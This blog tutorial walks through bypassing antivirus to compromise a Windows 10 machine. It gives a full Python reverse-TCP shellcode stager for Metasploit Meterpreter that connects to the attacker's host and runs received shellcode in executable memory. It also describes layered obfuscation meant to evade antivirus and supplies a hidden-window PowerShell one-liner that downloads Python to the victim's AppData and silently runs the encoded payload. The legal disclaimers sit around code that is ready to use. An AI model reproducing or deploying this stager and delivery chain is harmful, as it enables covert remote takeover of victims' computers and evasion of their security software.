Cybersecurity plays an important role in today’s technology world. Testing and improving system security is the responsibility of system administrators and security experts. However, bypassing anti-virus software (Bypass AntiVirus) has become an integral part of the security testing and evaluation process. In this article, I will share with you about my successful experience in Bypass AV and infiltrate a computer running Windows 10 operating system using Metasploit and Python. This is a challenging process and offers a deeper understanding of anti-virus software and detection of system vulnerabilities. After a few days I researched the payload windows/meterpreter/reverse_tcp by Metasploit. I wrote a small Python script for this payload and finally infiltrated the target computer with that script. Let’s explore and learn the process of bypassing AV and infiltrating Windows 10 using Metasploit and Python in this article!
Join the channel Telegram belong to AnonyViet ???? Link ???? |
Note: The article does not encourage the use of this technique for any illegal activity or harm to others. Anonyviet hopes that through sharing this knowledge, you can improve your understanding of cybersecurity and apply safeguards to protect your systems. Any illegal acts Anonyviet will not bear all responsibility!
Metasploit is a very popular open source framework in the field of penetration testing and vulnerability exploitation. It is used to create an artificially conditioned environment for vulnerability analysis, helping security professionals find weaknesses in their networks and applications. Metasploit provides a wide range of tools and resources to attack and exploit system vulnerabilities, helping security professionals to test and enhance the security of networks and applications. Metasploit is developed by Rapid7 and uses the Ruby programming language, with a graphical and command-line interface for ease of use. It allows users to automate the testing process and find vulnerabilities, enhancing performance and saving time. Metasploit provides many features such as port scanning, vulnerability finding, exploits, buffer overflows, crawling, malware generation, and more. It also provides an extensive vulnerability database, allowing users to find and exploit known vulnerabilities. Not only that, it is also a tool used to test and strengthen the security of the system thereby providing a more secure environment for networks and applications.
Meterpreter Reverse TCP is a type of reverse connection used in the Metasploit Framework to create a secure channel between the attacker and the target machine.
When using Meterpreter Reverse TCP, the hacker’s machine acts as the listening server, while the victim’s machine is the client. The operation goes as follows:
- The hacker machine starts a specific TCP port ( listener )
- The victim machine is infected by a payload (malicious program) through an attack method, such as malware download, or email intrusion, etc.
- Payload is established on the target machine and reverse connection is established from the victim’s machine to the hacker’s machine via TCP protocol.
- Once the connection is established, Meterpreter is a powerful attack management tool in Metasploit, which is run on the victim machine and communicates with the hacker via the established secure channel.
Meterpreter Reverse TCP provides many powerful features for hackers, including the ability to remotely control the victim’s machine, execute commands on the victim’s system, access files and folders, and gather information important and even penetrate deep into the system
Details of payload structure:
- Connect to the hacker’s machine through the TCP/IP socket.
- Get data from the connection and extract the necessary information.
- Use the ctypes library in Python to allocate memory and copy low machine code into memory.
- Create a separate thread to execute machine code low in memory.
- Stop the main program to maintain remote control
This Python code begins by importing the necessary libraries to work with sockets, structs, time, threading, and ctypes.
import socket import struct import time import threading import ctypes
Variable ip
defines the IP address that the computer running the program will connect to. Variable port
Specify the port number to connect to the hacker
ip = "<ip>" # địa chỉ ip hacker port = <port> # số cổng hacker đã mở bên Metasploit
Variable initialization connected
to monitor the connection status and use a while loop to try to connect to the hacker machine until it succeeds. In this while loop, a socket is created and tries to connect to the hacker’s IP address and port. If the connection is successful, the variable connected
is set to True and the loop stops. If a TimeoutError occurs, the payload will wait 0.1 seconds and then reconnect
connected = False while not connected: try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, port)) connected = True except TimeoutError: time.sleep(0.1)
Get first data from socket. The line of code below uses the . method recv()
of the socket to receive the first 4 bytes of data from the connection
data = s.recv(4)
Extract the data length from the received data. The line of code below uses the function unpack()
from module struct
to decompress the first 4 bytes of data into a 32-bit unsigned integer packed in little-endian format. This value is then added to 5 and assigned to the variable data_len
. The addition of 5 to data_len
is because the data after decompression includes the first 4 bytes but needs to contain 5 more bytes
data_len = struct.unpack("<I", data)[0] + 5
Continue to receive data from the socket until the full length has been unpacked. This loop uses the . method recv()
to receive data from the socket until the total length of the received data is equal to data_len
while len(data) < data_len: data += s.recv(data_len - len(data))
Encapsulates the socket handle and received data into a new bytearray. With this line of code use the function pack()
from module struct
to encapsulate the socket’s file descriptor (s.fileno()
) into a bytearray handle
. Then other bytearrays are created by concatenating bytearray [0xBF]
a bytearray containing a single element that is the value 0xBF (191 in decimal), bytearray(handle)
transform variable handle
from the packed data type into a new bytearray.data[4:]
access the data received from the socket, starting from the 4th byte (ignoring the first 4 bytes). Entire bytearrays are concatenated by addition (+
) to generate bytearray data
new
handle = struct.pack("<I", s.fileno()) data = bytearray([0xBF]) + bytearray(handle) + data[4:]
Two constants MEM_COMMIT
and PAGE_EXECUTE_READWRITE
is defined for use in allocating memory and setting memory access rights. MEM_COMMIT
is a constant whose value is 0x1000
denotes the memory allocation mode in the function VirtualAlloc()
.Value 0x1000
corresponding to allocating a new memory area and configuring access to that memory area. PAGE_EXECUTE_READWRITE
is a constant whose value is 0x40
denotes access to memory in the function VirtualAlloc()
. Value 0x40
represents read, write, and execute access rights to that memory area. Using PAGE_EXECUTE_READWRITE
I allow the allocated memory to hold executable code and be able to read and write data
MEM_COMMIT = 0x1000 PAGE_EXECUTE_READWRITE = 0x40
Use the library kernel32
from ctypes
to allocate and copy data into memory. The line of code below uses the function VirtualAlloc()
of the library kernel32
to allocate a block of memory of size len(data)
. This memory block will be allocated with access rights PAGE_EXECUTE_READWRITE
. Then the data from data
copied to the allocated memory address using ctypes.memmove()
. The lines of code that I mentioned are related to using Windows API through ctypes to allocate and copy data to the allocated memory. As follows:
kernel32 = ctypes.windll.kernel32
:- This line creates an object
kernel32
to access the Windows API functions in the kernel32.dll library. ctypes.windll
is a way to access the libraries provided by the Windows operating system.
- This line creates an object
address = kernel32.VirtualAlloc(None, len(data), MEM_COMMIT, PAGE_EXECUTE_READWRITE)
:kernel32.VirtualAlloc()
is a function in the Windows API to allocate virtual memory.- The above line of code calls the function
VirtualAlloc()
to allocate a new virtual memory area. None
represents the base address of the virtual memory (due to undefined).len(data)
determines the size (number of bytes) of the memory area to be allocated, based on the size ofdata
.MEM_COMMIT
is a predefined constant that denotes the memory allocation mode.PAGE_EXECUTE_READWRITE
is also a predefined constant that denotes access to the memory area.
data_array = (ctypes.c_char * len(data)).from_buffer(data)
:- This line of code creates an array
data_array
with datatypectypes.c_char
and the size islen(data)
. ctypes.c_char
represents a character (byte) in ctypes..from_buffer(data)
create a view (view) of the arraydata
previously received, ie arraydata_array
will point to the memory area ofdata
for shared data.
- This line of code creates an array
ctypes.memmove(address, ctypes.pointer(data_array), len(data))
:ctypes.memmove()
is a function in ctypes to copy data from one device to another.- The above line of code copies the contents of
data_array
into the allocated memory areaaddress
. address
is the address to copy data to.ctypes.pointer(data_array)
returns a pointer to the memory area ofdata_array
.len(data)
specify the number of bytes to copy
In general, the code below uses the Windows API through ctypes to allocate a new virtual memory area, creating an array of data. data_array
points to the received data from the socket, and then copies the data from data_array
into the allocated memory. This process prepares for execution of executable code from that virtual memory
kernel32 = ctypes.windll.kernel32 address = kernel32.VirtualAlloc(None, len(data), MEM_COMMIT, PAGE_EXECUTE_READWRITE) data_array = (ctypes.c_char * len(data)).from_buffer(data) ctypes.memmove(address, ctypes.pointer(data_array), len(data))
With the line of code below, I created a new thread using module threading.Thread()
. This thread will execute low machine code at the allocated memory address. This memory address is passed in target
as function pointer ctypes.CFUNCTYPE(None)
. No arguments are passed to the stream (args=()
)
thread = threading.Thread(target=ctypes.cast(address, ctypes.CFUNCTYPE(None)), args=()) thread.start()
The last line of code is used to let the payload run for 9999999 seconds, which is about 115 days, you can increase or decrease the time as you like.
time.sleep(9999999)
Here is the entire source code that I created:
import socket import struct import time import threading import ctypes ip = "<ip>" # địa chỉ ip hacker port = <port> # số cổng hacker đã mở bên Metasploit connected = False while not connected: try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, port)) connected = True except TimeoutError: time.sleep(0.1) data = s.recv(4) data_len = struct.unpack("<I", data)[0] + 5 while len(data) < data_len: data += s.recv(data_len - len(data)) handle = struct.pack("<I", s.fileno()) data = bytearray([0xBF]) + bytearray(handle) + data[4:] MEM_COMMIT = 0x1000 PAGE_EXECUTE_READWRITE = 0x40 kernel32 = ctypes.windll.kernel32 address = kernel32.VirtualAlloc(None, len(data), MEM_COMMIT, PAGE_EXECUTE_READWRITE) data_array = (ctypes.c_char * len(data)).from_buffer(data) ctypes.memmove(address, ctypes.pointer(data_array), len(data)) thread = threading.Thread(target=ctypes.cast(address, ctypes.CFUNCTYPE(None)), args=()) thread.start() time.sleep(9999999)
Now we will come to attack Windows 10 with Metasploit and Python
Now, the hacker has ip address 192.168.1.3 and tcp port 9999, next to the victim’s ip address 192.168.1.5, I will proceed to setup on Metasploit as follows:
Okay, now I encode the python script with marshal, zlib, lzma and base64 modules to avoid scanning by AntiVirus software, the encrypted python script has the following form:
After encoding the python script with marshal, zlib, lzma and base64 modules, I encode the whole script with base64 at the website base64encode.org
Click “ENCODE” to start encoding
Click “Copy to clipboard” to copy the base64 code
This is the Powershell script I have written, your job is to just paste the entire base64 encoded script. You replace <your base64code payload>
into your base64 code
powershell.exe -WindowStyle Hidden -Command "$code_payload='<your base64code payload>'; $bat1='@echo off'; $bat2='pythonRun module.py'; $cd_appdata=$Env:AppData; Set-Location -Path $cd_appdata; $current_cwd=Get-Location; if (Test-Path -Path 'pythonRun') { Set-Location -Path \"$current_cwd\pythonRun\"; $payload=$code_payload; $decoded=[System.Convert]::FromBase64String($payload); $bat1=$bat1; $bat2=$bat2; $bat1 + \"`r`n\" + $bat2 | Out-File -FilePath svc.bat -Encoding ascii; Set-Content -Path 'module.py' -Value ([System.Text.Encoding]::ASCII.GetString($decoded)); Start-Process -FilePath svc.bat -WindowStyle Hidden } else { Invoke-WebRequest -Uri 'https://www.python.org/ftp/python/3.10.9/python-3.10.9-embed-win32.zip' -OutFile pythonRun.zip; Expand-Archive -Path pythonRun.zip -DestinationPath pythonRun; Start-Sleep -Seconds 1; Rename-Item -Path \"$current_cwd\pythonRun\python.exe\" -NewName pythonRun.exe; Remove-Item -Path pythonRun.zip; Set-Location -Path \"$current_cwd\pythonRun\"; $payload=$code_payload; $decoded=[System.Convert]::FromBase64String($payload); $bat1=$bat1; $bat2=$bat2; $bat1 + \"`r`n\" + $bat2 | Out-File -FilePath svc.bat -Encoding ascii; Set-Content -Path 'module.py' -Value ([System.Text.Encoding]::ASCII.GetString($decoded)); Start-Process -FilePath svc.bat -WindowStyle Hidden }"
This is my script, just execute the Powershell script and it automatically downloads Python to the victim’s machine and executes the malicious Python script encoded in base64
And this is the result
So, with less than 50 lines of Python code plus 1 Powershell command and Metasploit tool, I was able to penetrate Windows 10 already. I want to emphasize that hacking other people’s computers is against morality and law. I wrote this article just to help readers understand more about how malicious code works and how to prevent it. If you are a security professional, I hope that this article will help you improve your knowledge and skills in using the Metasploit tool to check the security of your systems and protect them from threats. attack from hackers. And if you are a normal user, I recommend that you always update your security software and limit the download of software from unknown sources to best protect your system.
Finally, I want to emphasize that using Metasploit tools as well as other tools to hack into other people’s systems is against the law and ethics. We need to respect each other’s privacy and protect each other’s information security. Have a nice day! BYE BYE!!!!
You can also read more articles How to Scan Vulnerabilities Using Metasploit